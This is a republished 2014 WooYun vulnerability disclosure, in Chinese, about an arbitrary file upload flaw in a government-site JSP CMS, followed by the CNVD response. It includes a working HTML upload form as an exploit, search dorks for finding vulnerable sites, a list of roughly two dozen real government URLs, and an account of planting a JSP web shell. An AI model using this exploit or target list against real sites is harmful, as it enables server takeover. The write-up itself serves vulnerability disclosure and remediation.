[公开漏洞]某政府类CMS任意文件上传

    来源:WooYun 浏览:2551次 时间:2014-06-17
某政府类CMS任意文件上传 相关厂商: Cncert国家互联网应急中心 漏洞作者:U神 提交时间:2014-03-19 10:55 公开时间:2014-06-17 10:55 漏洞类型:文件上传导致任意代码执行 危害等级:高 自评Rank:20 漏洞状态: 已交由第三方厂商(cncert国家互联网应急中心)处理 漏洞来源:http://www.wooyun.org Tags标签: 任意文件上传 任意文件上传 漏洞详情 披露状态:

2014-03-19:细节已通知厂商并且等待厂商处理中
2014-03-27:厂商已经确认,细节仅向厂商公开
2014-03-30:细节向第三方安全合作伙伴开放
2014-04-06:细节向核心白帽子及相关领域专家公开
2014-04-16:细节向普通白帽子公开
2014-05-06:细节向实习白帽子公开
2014-06-17:细节向公众公开

简要描述:

详细说明:

#1.这套JSP的系统主要用于政府网站,该系统中某个上传功能没有对上传文件进行任何判断,导致可以上传任意文件到网站目录可getshell,我们来看看文件

comm_front/tzzx/chooseImageTools.jsp代码:

<%@ page contentType="text/html; charset=GBK"%>
<%

response.setHeader("Cache-Control", "no-cache");
response.setHeader("Pragma", "no-cache");
response.setDateHeader("Expires", -1);
response.setDateHeader("max-age", 0);

String flag = request.getParameter("flag");
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title></title>
<style type="text/css">
<!--
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="../inc/css/cms.css" rel="stylesheet" type="text/css">
<link rel="stylesheet" type="text/css" href="../css/windows.css">
</head>
<script src="<%=request.getContextPath()%>/cms/inc/js/func.js"></script>
<script language="javascript">

function send(){
var pattern=/\.(doc|xls|txt)$/i; //*只做了JS的验证
var filename = document.form1.file.value;
var fileRealName = filename.substring(filename.lastIndexOf('\\')+1,filename.lastIndexOf('.'));
if(!pattern.test(filename)){
alert("这里只能上传后缀名为.doc,.xls,.txt的文件!");
return;
}
document.all.form1.action="uploadImageFile_do.jsp?flag=<%=flag%>&uri=/&fileRealName="+fileRealName;
document.all.form1.submit();
}
var selectedFileName;

</script>
<body>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" background="../images/uptp.gif" style="border:2px solid #999999">
<tr><td height="69" style="padding:20">
<form action="" method="post" enctype="multipart/form-data" name="form1" target="hiddenFrm">
<span id="uploadFileDIV" style="display:inline">
<input type="file" name="file" id="file">
<input type="button" name="Submit2" value="上传" onClick="send()">
</span>
<!-- <input type="button" value="重命名" onClick="rename()">-->
<!--<input type="button" value="返回" onClick="top.close()" class="cms_button">-->
</form>
</td></tr></table>
<iframe id="hiddenFrm" name="hiddenFrm" style="display:none"></iframe>
</body>
</html>



comm_front/tzzx/uploadImageFile_do.jsp代码

<%@ page language="java" contentType="text/html; charset=GBK" %>
<%@ page import="java.io.*,java.util.*"%>
<%@ page import="org.apache.commons.fileupload.*"%>
<%@ page import="com.chinacreator.cms.util.*"%>
<jsp:useBean id="date" scope="page" class="net.fiyu.edit.TimeStamp"/>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GBK">
<title></title>
</head>
<body>
<%
String fileName = "";
String count = request.getParameter("flag");
String fileRealName =request.getParameter("fileRealName");
try{

response.setHeader("Cache-Control", "no-cache");
response.setHeader("Pragma", "no-cache");
response.setDateHeader("Expires", -1);
response.setDateHeader("max-age", 0);
//建立一个临时目录
File temp = new File(application.getRealPath("/")+"cms\\siteResource\\temp",System.currentTimeMillis()+""+Math.random()); //建立文件的命令规则
temp.mkdirs();

String pathContext = null;
String rootPath = "";
rootPath = request.getRealPath("/");
rootPath = rootPath.replace('\\','/');
pathContext = rootPath + "/cms/siteResource/uploadfiles/tzzx";
if(pathContext==null || pathContext.trim().length()==0){
%>
<script language="javascript">
alert("没有找到站点文件夹所在的路径!.");
</script>
<%
return;
}
String uri = request.getParameter("uri");

File parentFolder = null;
if(uri!=null && uri.trim().length()!=0){
parentFolder = new File(pathContext,uri);
}else{
parentFolder = new File(pathContext);
}

FileItemFactory fileitemfactory = new DefaultFileItemFactory(2048000,temp);
FileUpload fu = new FileUpload(fileitemfactory);
List fields = fu.parseRequest(request);
int flag = 0;//校验客户端文件是否存在
for(int i=0;fields!=null&&i<fields.size();i++){
FileItem file = (FileItem)fields.get(i);
if(file.getInputStream().available() <= 0)
{
break;
}
flag++;
if(!file.isFormField()){
//建个文件用来获取名字
String FileName=(String)date.Time_Stamp();
String fileBottom = file.getName();
int index = fileBottom.lastIndexOf('.');
fileBottom = fileBottom.substring(index);
fileName = FileName + fileBottom;
fileRealName = fileRealName + fileBottom ;
File tempFile = new File(FileName+fileBottom);
File f = new File(pathContext,tempFile.getName());
if(f.exists()){
out.println("<script language=\"javascript\">");
out.println("alert('文件已经存在,请在上传之前修改好文件名!');");
out.println("</script>");
FileUtil.deleteSubfiles(temp.getAbsolutePath());
FileUtil.deleteFile(temp.getAbsolutePath());
return;
}
f.getParentFile().mkdirs();
f.createNewFile();
file.write(f);
}
}
FileUtil.deleteSubfiles(temp.getAbsolutePath());
FileUtil.deleteFile(temp.getAbsolutePath());
if(flag <= 0)
{
out.println("<script language=\"javascript\">");
out.println("alert('文件为空或不存在,请重新上传!');");
out.println("</script>");
return;
}
}catch(Exception e){
out.println("<script language=\"javascript\">");
out.println("alert('上传图片发生异常,异常为"+e.getMessage()+"');");
out.println("</script>");
e.printStackTrace();
}
%>
<script type="text/javascript">
//parent.ToolsFrm.selectedFileName=fileName;
//alert(parent.parent.ImageListFrm.location.reload());

alert("上传文件成功.");
parent.parent.theOpener.setImage("<%=fileName%>","<%=count%>");
parent.parent.theOpener.setImage2("<%=fileRealName%>","<%=count%>");
top.close();
</script>
</body>
</html>





#2.从上面可看出,只在上传页面中做了JS判断文件的类型,服务端没有判断文件的类型,这样我们就可以禁用JS或者本地构造上传页面来上传任意文件,构造EXP如下:

<form action="http://******/comm_front/tzzx/uploadImageFile_do.jsp?uri=/" method="post" name="uploadform" 
enctype="multipart/form-data">
<input type="file" name="NewFile">
<input type="submit">
</form>

漏洞证明:

#3.该CMS主要用于政府类的,可以通过谷歌、百度、搜狗等搜索引擎来爬行存在该上传漏洞文件的网站,由于CMS的url根据网站名称和导航标题等随机因素来命名,还是静态页面导致特征比较难构造,但这里还是提供下:

inurl:comm_front
inurl:comm_front/email





通过搜索引擎,罗列了不少存在该漏洞的网站,请求通报修复该高危漏洞:

http://www.cetz.gov.cn/comm_front/tzzx/uploadImageFile_do.jsp
http://www.hnsyczj.gov.cn/comm_front/tzzx/uploadImageFile_do.jsp
http://www.yuanjiang.gov.cn/comm_front/tzzx/uploadImageFile_do.jsp
http://www.hnrm.gov.cn/comm_front/tzzx/uploadImageFile_do.jsp
http://www.hnsx.gov.cn/comm_front/tzzx/uploadImageFile_do.jsp
http://www.hnagri.gov.cn/comm_front/tzzx/uploadImageFile_do.jsp
http://www.hn12333.com:81/comm_front/tzzx/uploadImageFile_do.jsp
http://www.nxgov.com/comm_front/tzzx/uploadImageFile_do.jsp
http://www.czsx.gov.cn/comm_front/tzzx/uploadImageFile_do.jsp
http://www.jkqrc.com/comm_front/tzzx/uploadImageFile_do.jsp
http://www.hngy.gov.cn/comm_front/tzzx/uploadImageFile_do.jsp
http://www.czlwga.gov.cn:88/comm_front/tzzx/uploadImageFile_do.jsp
http://www.xscity.cn:8080/creatorcms/comm_front/tzzx/uploadImageFile_do.jsp
http://www.hncks.com/comm_front/tzzx/uploadImageFile_do.jsp
http://hnhjs.com/comm_front/tzzx/uploadImageFile_do.jsp
http://www.nxcity.gov.cn/comm_front/tzzx/uploadImageFile_do.jsp
http://www.hbj.hunan.gov.cn/comm_front/tzzx/uploadImageFile_do.jsp
http://mweb.hnagri.gov.cn/comm_front/tzzx/uploadImageFile_do.jsp
http://www.ghj.hngy.gov.cn/comm_front/tzzx/uploadImageFile_do.jsp
http://www.hnnyzz.com/comm_front/tzzx/uploadImageFile_do.jsp
http://rbj.hngy.gov.cn/comm_front/tzzx/uploadImageFile_do.jsp
http://www.hncks.com/comm_front/tzzx/uploadImageFile_do.jsp
http://www.hunanpps.com/comm_front/tzzx/uploadImageFile_do.jsp





#4.漏洞如何利用?我们以第一个网站做安全测试,通过我们构造的本地上传页面,上传一个JSP文件,然后通过源代码获取到文件名称。

01.jpg



然后根据"uploadImageFile_do.jsp"代码可以看的出,上传的文件在“cms/siteResource/uploadfiles/tzzx/”目录下,结合我们获取的文件名,就知道文件地址是:

http://**.gov.cn/cms/siteResource/uploadfiles/tzzx/*********.jsp



02.jpg



04.jpg

修复方案:

PS:本次仅测试了其一,由于使用同一款CMS,其它通用!测试的Shell已删除,求不跨省,请求Cncert尽快通报该漏洞通知网站管理员早日修复漏洞,少让政府网遭殃!--证书经验累积中......---

版权声明:转载请注明来源 U神@乌云 漏洞回应 厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-03-27 08:47

厂商回复:

CNVD确认并复现所述多个实例情况,并提取CMS应用特征,根据测试结果,主要协调湖南分中心,由其后续协调当地软件生产厂商,并将所述测试得到的用例分别协调网站管理单位处置。rank 20+

最新状态:

暂无

当前位置:站长啦网站目录 » 站长资讯 » 站长新闻 » 漏洞预警 » 文章详细